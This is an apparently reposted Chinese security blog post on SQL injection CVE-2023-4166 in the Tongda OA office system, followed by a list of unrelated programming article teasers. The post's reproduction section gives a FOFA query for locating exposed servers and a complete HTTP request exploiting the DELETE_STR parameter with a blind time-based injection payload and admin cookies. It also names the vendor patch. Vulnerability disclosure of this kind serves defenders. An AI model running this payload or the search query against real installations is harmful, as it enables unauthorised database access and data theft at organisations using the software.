当前位置： 首页 > news >正文

通达OA SQL注入漏洞【CVE-2023-4166】

news 2026/4/15 13:57:07

通达OA SQL注入漏洞【CVE-2023-4166】

  • 一、产品简介
  • 二、漏洞概述
  • 三、影响范围
  • 四、复现环境
    • POC
    • 小龙POC检测工具:
  • 五、修复建议

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

通达OA系统，即Offic Anywhere，又称为网络智能办公系统，是通达科技公司针对各行业办公与管理开发的办公应用系统。通达OA系统采用领先的B/S架构，采用基于WEB网络的开发方式，能够使得企业及个人办公不再受地域限制，实现信息化、自动化、移动化高效便捷办公。

二、漏洞概述

漏洞2（CVE-2023-4166）general/system/seal_manage/dianju/delete_log.php文件，对参数 DELETE_STR 的操作会导致 sql 注入

三、影响范围

通达OA ≤ v11.10，v2017

在这里插入图片描述

四、复现环境

FOFA语法：app=“TDXK-通达OA” && icon_hash=“-759108386”

POC

general/system/seal_manage/dianju/delete_log.php

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

在这里插入图片描述

小龙POC检测工具:

在这里插入图片描述
在这里插入图片描述

五、修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://www.tongda2000.com/download/p2022.php

相关文章：

通达OA SQL注入漏洞【CVE-2023-4166】

通达OA SQL注入漏洞【CVE-2023-4166】 一、产品简介二、漏洞概述三、影响范围四、复现环境POC小龙POC检测工具: 五、修复建议 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损…...

编程日记 2023/8/13 23:20:07

全网最细，Python接口自动化测试-Session会话保持（实战详细）

目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 在接口测试的过程…...

编程日记 2023/8/13 23:19:06

Java项目初始化ES、MYSQL表结构及表数据

一、初始化MYSQL数据 public boolean initMysql() throws Exception {log.info("initMysql.start");//获取所连接的数据库名称String database systemMapper.getDatabase();if (StringUtils.isBlank(database)) {throw new BusinessException("连接数据库失败,…...

编程日记 2023/8/13 23:18:06

2023-08-13力扣每日一题

链接&#xff1a; 88. 合并两个有序数组 题意&#xff1a; 如题 解&#xff1a; 从后往前&#xff08;从大到小&#xff09;插入排序&#xff0c;这样就不会影响原先的有序性 实际代码&#xff1a; #include<bits/stdc.h> using namespace std; void merge(vector…...

编程日记 2023/8/13 23:17:05

下一代深度学习的思考与若干问题

下一代深度学习的思考和若干问题...

编程日记 2023/8/13 23:16:03

【Linux】IP协议——网络层

目录 IP协议 基本概念 IP协议格式 分片与组装 网段划分 特殊的IP地址 IP地址的数量限制 私网IP地址和公网IP地址 路由 路由表生成算法 IP协议 IP协议全称为“网际互连协议&#xff08;Internet Protocol&#xff09;”&#xff0c;IP协议是TCP/IP体系中的网络层协议…...

编程日记 2023/8/13 23:15:02

【CSS学习笔记】

学习内容 1.css是什么 2.CSS怎么用&#xff08;快速入门&#xff09; 3.CSS选择器&#xff08;重点 难点&#xff09; 4.美化页面&#xff08;文字、阴影、超链接、列表、渐变…&#xff09; 5.盒子模型 6.浮动 7.定位 8.网页动画&#xff08;特效&#xff09; 1.什么是CSS C…...

编程日记 2023/8/13 23:14:00

2023-arxiv-LLaMA: Open and Efficient Foundation Language Models

开放和高效的基础语言模型 Paper&#xff1a;https://arxiv.org/abs/2302.13971 Code: https://github.com/facebookresearch/llama 摘要 本文介绍了 LLaMA&#xff0c;这是⼀个包含 7B 到 65B 参数的基础语⾔模型的集合。作者在数万亿个令牌上训练模型&#xff0c;并表明可以…...

编程日记 2023/8/13 23:12:59

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

CTFshow XXE web373 学习资料&#xff1a; &#xff08;梭哈~&#xff09; https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__bizMz…...

编程日记 2023/8/13 23:11:57

小内存嵌入式设备软件的差分升级设计（学习）

摘要 提出一种改进HDiffPatch算法并在复旦微单片机上实现小内存差分升级的方案&#xff0c;即使用单片机内的Flash空间替代算法占用的RAM空间&#xff0c;从而减少算法对单片机RAM空间的需求&#xff0c;以满足小内存微处理器的差分升级&#xff0c;同时对算法内存分配释放函数…...

编程日记 2023/8/13 23:10:57

小程序具体开发

window 导航栏 属性名类型默认值作用navigationBarTitleText string字字符串导航栏标题内容navigationBarBackgroundColorHexcolor#000000设置导航栏背景颜色&#xff08;比如荧黄色 #ffa&#xff09;navigationBarTextStylestringwhite设置导航栏标题的颜色&#xff08;仅含有…...

编程日记 2023/8/13 23:09:56

《TCP IP网络编程》第十六章

第 16 章 关于 I/O 流分离的其他内容 16.1 分离 I/O 流 「分离 I/O 流」是一种常用表达。有 I/O 工具可区分二者&#xff0c;无论采用哪种方法&#xff0c;都可以认为是分离了 I/O 流。 2次 I/O 流分离&#xff1a; 第一种是第 10 章的「TCP I/O 过程」分离。通 shutdown(soc…...

编程日记 2023/8/13 23:08:55

HTML5 基础标签

目录 前言 标题标签 段落标签 换行标签和水平线标签 文本格式化标签 图像标签 超链接标签 多媒体标签 列表标签 无序列表 有序列表 表格 合并单元格 表单 无语义的布局标签 字符实体 前言 当今互联网时代&#xff0c;网页是我们获取信息、交流和展示自己的重要渠…...

编程日记 2023/8/13 23:07:54

二、Qt的安装（Linux系统下安装Qt6过程）

一、Qt资源下载网址 网址&#xff1a;点击下载http://download.qt.io/ 下载&#xff1a;点击下载(CSDN) 二、下载二进制安装包 进入Qt资源下载网址&#xff0c;进入对应的资源目录&#xff0c;找对应系统平台的二进制安装包选择进行下载&#xff0c;在这这里我们选择Linux下的二…...

编程日记 2023/8/13 23:06:50

Python 中被忽视的核心功能

这篇文章主要介绍了一些在 Python 编程中可能被忽视的核心功能&#xff0c;包括默认参数、海象运算符、*args 和 **kwargs 的使用、变量交换、str 与 repr 的区别、可迭代对象的扩展解包、多个上下文管理器的使用、Python 调试器、collections.Counter 的使用、itertools 的使用…...

编程日记 2023/8/13 23:05:49

Java+Excel+POI+testNG基于数据驱动做一个简单的接口测试【杭州多测师_王sir】

一、创建一个apicases.xlsx放入到eclipse的resource里面&#xff0c;然后refresh刷新一下 二、在pom.xml文件中加入poi和testng的mvn repository、然后在eclipse的对应目录下放入features和plugins&#xff0c;重启eclipse就可以看到testNG了 <!--poi excel解析 --><d…...

编程日记 2023/8/13 23:04:48

2023.8.12号论文阅读

文章目录 TriFormer: A Multi-modal Transformer Framework For Mild Cognitive Impairment Conversion Prediction摘要本文方法实验结果 SwIPE: Efficient and Robust Medical Image Segmentation with Implicit Patch Embeddings摘要本文方法实验结果 TriFormer: A Multi-mod…...

编程日记 2023/8/13 23:03:46

R语言中的函数24：Combinat：combn(), permn()

介绍 combinat中的combn()和permn()函数可以得到所有的排列组合的情况 combn()函数 combn(x, m, funNULL, simplifyTRUE, …)x – 组合的向量源m – 要取的元素的数量fun – 应用于每个组合的函数(可能为空)simplify – 逻辑的&#xff0c;如果是FALSE&#xff0c;返回一个列…...

编程日记 2023/8/13 23:02:45

C++隐式调用和explicit关键字

隐式类型转换 #include <iostream> using namespace std;class Point { public:int x, y;Point(int x 0, int y 0): x(x), y(y) {} };void displayPoint(const Point& p) {cout << "(" << p.x << "," << p.y <&l…...

编程日记 2023/8/13 23:01:43

Git 清除所有本地修改

Git 清除所有本地修改 1. 上才艺 1. 上才艺 git reset --hard && git clean -dfreset 返回到某个节点&#xff0c;不保留修改&#xff08;删除的是已跟踪的文件&#xff09;clean 删除的是未跟踪的文件 谢谢...

编程日记 2023/8/13 23:00:42

遥感入门实战：用Python和Scikit-learn搞定PaviaU高光谱数据预处理（附完整代码）

遥感入门实战&#xff1a;用Python和Scikit-learn搞定PaviaU高光谱数据预处理&#xff08;附完整代码&#xff09; 高光谱遥感图像处理正逐渐成为环境监测、农业评估和城市规划等领域的重要工具。对于刚接触这一领域的技术人员来说&#xff0c;PaviaU数据集是一个理想的起点。本…...

编程新知 2026/4/15 13:45:06

如何快速上手Tesseract .NET：5分钟实现图片文字识别

如何快速上手Tesseract .NET&#xff1a;5分钟实现图片文字识别 【免费下载链接】tesseract A .Net wrapper for tesseract-ocr 项目地址: https://gitcode.com/gh_mirrors/tess/tesseract Tesseract .NET是一个强大的.NET包装器&#xff0c;为开发者提供了便捷的图片文…...

编程新知 2026/4/15 13:06:10

RV1106开发板实战：手把手教你编译FFmpeg 3.4.8并集成到LVGL 9.2.3播放视频

RV1106开发板实战&#xff1a;从零构建FFmpeg 3.4.8与LVGL 9.2.3视频播放系统 在嵌入式设备上实现流畅的视频播放一直是开发者面临的挑战之一。RV1106作为一款高性能的嵌入式处理器&#xff0c;结合FFmpeg强大的多媒体处理能力和LVGL轻量级图形库的优雅界面&#xff0c;能够打造…...

编程新知 2026/4/15 12:45:43

有限元仿真自动化：基于Python的Comsol多物理场脚本开发实践

有限元仿真自动化&#xff1a;基于Python的Comsol多物理场脚本开发实践 【免费下载链接】MPh Pythonic scripting interface for Comsol Multiphysics 项目地址: https://gitcode.com/gh_mirrors/mp/MPh 在科学计算与工程仿真领域&#xff0c;有限元分析工具的自动化控制…...

编程新知 2026/4/15 12:11:17

模型蒸馏（Knowledge Distillation）完全指

模型蒸馏&#xff08;Knowledge Distillation&#xff09;完全指南 从原理到实践&#xff0c;搞清楚大模型蒸馏的每一个细节 目录 一句话理解核心原理&#xff1a;为什么蒸馏有效蒸馏三要素蒸馏的三种类型大模型蒸馏的完整操作流程代码实战&#xff1a;PyTorch 蒸馏实现蒸馏的…...

编程新知 2026/4/15 11:50:57

Innovus许可证服务器搭建全记录：从hostid获取到1patch破解的完整流程

Innovus许可证服务器部署实战指南&#xff1a;从环境配置到稳定运行 1. 环境准备与系统优化 在CentOS 7上部署Innovus许可证服务器前&#xff0c;合理的系统配置是确保后续流程顺利的基础。不同于普通应用部署&#xff0c;EDA工具对系统环境有着更为严格的要求。我们建议使用物…...

编程新知 2026/4/15 11:16:07

MogFace镜像安全合规实践：纯本地运行杜绝隐私泄露，满足GDPR/等保2.0要求

MogFace镜像安全合规实践&#xff1a;纯本地运行杜绝隐私泄露&#xff0c;满足GDPR/等保2.0要求 在数据隐私和安全法规日益严格的今天&#xff0c;处理包含人脸等敏感信息的图像数据&#xff0c;正面临前所未有的合规挑战。无论是欧盟的《通用数据保护条例》&#xff08;GDPR&…...

编程新知 2026/4/15 11:11:57

NBTExplorer终极指南：如何快速掌握6种Minecraft数据格式的图形化编辑

NBTExplorer终极指南&#xff1a;如何快速掌握6种Minecraft数据格式的图形化编辑 【免费下载链接】NBTExplorer A graphical NBT editor for all Minecraft NBT data sources 项目地址: https://gitcode.com/gh_mirrors/nb/NBTExplorer NBTExplorer是一款功能强大且完全…...

编程新知 2026/4/15 10:09:05

STEP3-VL-10B部署教程：CSDN算力平台一键拉起WebUI，7860端口快速访问指南

STEP3-VL-10B部署教程&#xff1a;CSDN算力平台一键拉起WebUI&#xff0c;7860端口快速访问指南 1. 开篇&#xff1a;为什么你需要关注STEP3-VL-10B&#xff1f; 如果你正在寻找一个既强大又轻便的多模态AI模型&#xff0c;那么STEP3-VL-10B绝对值得你花10分钟了解一下。 想…...

编程新知 2026/4/15 9:56:34

Keepalived 高可用与负载均衡

Keepalived 高可用与负载均衡一、基础概念1. 什么是 Keepalived基于 VRRP 协议 实现的高可用&#xff08;HA&#xff09;工具核心作用&#xff1a;单点故障自动切换&#xff0c;保证服务不间断同时集成 LVS 负载均衡 管理功能&#xff0c;可直接做四层负载均衡2. 核心应用场景高…...

编程新知 2026/4/15 8:58:27